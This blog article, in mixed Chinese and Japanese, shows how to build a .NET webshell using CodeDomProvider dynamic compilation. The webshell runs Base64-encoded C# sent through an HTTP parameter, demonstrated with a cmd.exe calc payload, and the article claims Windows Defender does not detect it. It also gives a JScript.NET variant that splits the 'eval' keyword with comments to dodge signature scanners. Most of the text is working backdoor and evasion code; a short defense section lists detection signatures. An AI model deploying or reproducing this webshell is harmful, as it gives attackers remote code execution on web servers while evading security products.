NET動的コンパイル技術による任意のコード実行

NET動的コンパイル技術による任意のコード実行

Netは外部入力文字列をコンパイル技術によりコードとして実行でき、動的コンパイル技術は2つのコアクラスを提供する。

最后更新 2022/05/15 23:15
Ivan1ee dotNet安全矩阵
预计阅读 4 分钟
分类
.NET
标签
.NET C# 動的コンパイル

I.序文

当下主流的 Waf 或 Windows Defender 等终端杀软、EDR 大多都是从特征码查杀,在.Net 和 VBS 下一句话木马中最常见的特征是 eval,对于攻击者来说需要避开这个系统关键字,可从反序列化方式避开 eval,但公开已久相信很多安全产品已经能够很好检测和阻断这类攻击请求。笔者从.NET 内置的 CodeDomProvider 类下手实现动态编译.NET 代码,指明 JScrip 或者 C#作为编译语言,编译的 WebShell 目前Windows Defender不会查杀。而防御者从流量或终端识别 "CodeDomProvider.CreateProvider、CreateInstance"等特征码。

2.動的な変換

.Net 可通过编译技术将外部输入的字符串作为代码执行,动态编译技术提供了最核心的两个类CodeDomProviderCompilerParameters,前者相当于编译器,后者相当于编译器参数,CodeDomProvider 支持多种语言(如 C#、VB、Jscript),编译器参数 CompilerParameters.GenerateExecutable 默认表示生成 dll,GenerateInMemory= true时表示在内存中加载,CompileAssemblyFromSource 表示程序集的数据源,再将编译产生的结果生成程序集供反射调用。最后通过 CreateInstance 实例化对象并反射调用自定义类中的方法。

CodeDomProvider compiler = CodeDomProvider.CreateProvider("C#"); ;     //编译器
CompilerParameters comPara = new CompilerParameters();   //编译器参数
comPara.ReferencedAssemblies.Add("System.dll"); //添加引用
comPara.GenerateExecutable = false; //生成exe
comPara.GenerateInMemory = true; //内存中
CompilerResults compilerResults = compiler.CompileAssemblyFromSource(comPara, SourceText(txt)); //编译数据的来源
Assembly objAssembly = compilerResults.CompiledAssembly; //编译成程序集
object objInstance = objAssembly.CreateInstance("Neteye.NeteyeInput"); //创建对象
MethodInfo objMifo = objInstance.GetType().GetMethod("OutPut"); //反射调用方法
var result = objMifo.Invoke(objInstance, null);

3.着陸の実現

上記のコードのSourceTextメソッドは、コンパイルされたC#ソースコードを提供する必要があり、NeteyeInputクラスを作成しました。

public static string SourceText(string txt)
{
    StringBuilder sb = new StringBuilder();
    sb.Append("using System;");
    sb.Append(Environment.NewLine);
    sb.Append("namespace  Neteye");
    sb.Append(Environment.NewLine);
    sb.Append("{");
    sb.Append(Environment.NewLine);
    sb.Append("    public class NeteyeInput");
    sb.Append(Environment.NewLine);
    sb.Append("    {");
    sb.Append(Environment.NewLine);
    sb.Append("        public void OutPut()");
    sb.Append(Environment.NewLine);
    sb.Append("        {");
    sb.Append(Environment.NewLine);
    sb.Append(Encoding.GetEncoding("UTF-8").GetString(Convert.FromBase64String(txt)));
    sb.Append(Environment.NewLine);
    sb.Append("        }");
    sb.Append(Environment.NewLine);
    sb.Append("    }");
    sb.Append(Environment.NewLine);
    sb.Append("}");
    string code = sb.ToString();
    return code;
}

类里声明了 OutPut 方法,该方法里通过 Base64 解码得到输入的原生字符串,笔者在这里以计算器作为演示,将“System.Diagnostics.Process.Start("cmd.exe","/c calc");”编码为

U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuU3RhcnQoImNtZC5leGUiLCIvYyBjYWxjIik7

最後に汎用ハンドラProcessRequestメソッドで呼び出されます。

public void ProcessRequest(HttpContext context)
{
    context.Response.ContentType = "text/plain";
    if (!string.IsNullOrEmpty(context.Request["txt"]))
    {
        DynamicCodeExecute(context.Request["txt"]); //start calc: U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuU3RhcnQoImNtZC5leGUiLCIvYyBjYWxjIik7
        context.Response.Write("Execute Status: Success!");
    }
    else
    {
        context.Response.Write("Just For Fun, Please Input txt!");
    }
}

IV.その他のアプローチ

Jscript. Net動的コンパイルによる分解eval

在.NET 安全领域中一句话木马主流的都是交给 eval 关键词执行,而很多安全产品都会对此重点查杀,所以笔者需要避开eval,而在.NET 中 eval 只存在于 Jscript.Net,所以需要将动态编译器指定为 Jscript,其余和 C#版本的动态编译基本一致,笔者通过插入无关字符将 eval 拆解掉,代码如下

private static readonly string _jscriptClassText =
        @"import System;
            class JScriptRun
            {
                public static function RunExp(expression : String) : String
                {
                    return e/*@Ivan1ee@*/v/*@Ivan1ee@*/a/*@Ivan1ee@*/l(expression);
                }
            }";

コンパイル時に無関係な文字列“/@ Ivan1ee @/”を置き換えるだけで、コンパイル後にターゲットメソッドをリフレクションします。

CompilerResults results = compiler.CompileAssemblyFromSource(parameters, _jscriptClassText.Replace("/*@Ivan1ee@*/",""));

V.防衛策

  • 一般的なWebアプリケーションの使用シーンはあまりなく、検出シグネチャコード:Code DomProvider、CreateInstanceなど、一度警告すると特別な注意が必要です。

  • コンパイルされたアセンブリはハードディスクに一時ファイルとして保存されるため、書き込み可能なディレクトリのdllファイルの内容を監視する必要があります。

  • 文章涉及的代码已经打包在: https://github.com/Ivan1ee/.NETWebShell

Keep Exploring

延伸阅读

更多文章
同分类 / 同标签 2026/04/22

バージョン別の. NETサポート状況(250 7 0 7更新)

仮想マシンとテストマシンを使用して、各バージョンのオペレーティングシステムの. NETサポートをテストします。オペレーティングシステムのインストール後、対応するランタイムを測定し、スターダストエージェントをパスとして実行できます。

继续阅读
同分类 / 同标签 2026/02/07

AOTの使用経験

プロジェクトの最初から、新しい機能が追加されたり、新しい構文が使用されたりするたびに、AOTリリーステストを行うという良い習慣を身につける必要があります。

继续阅读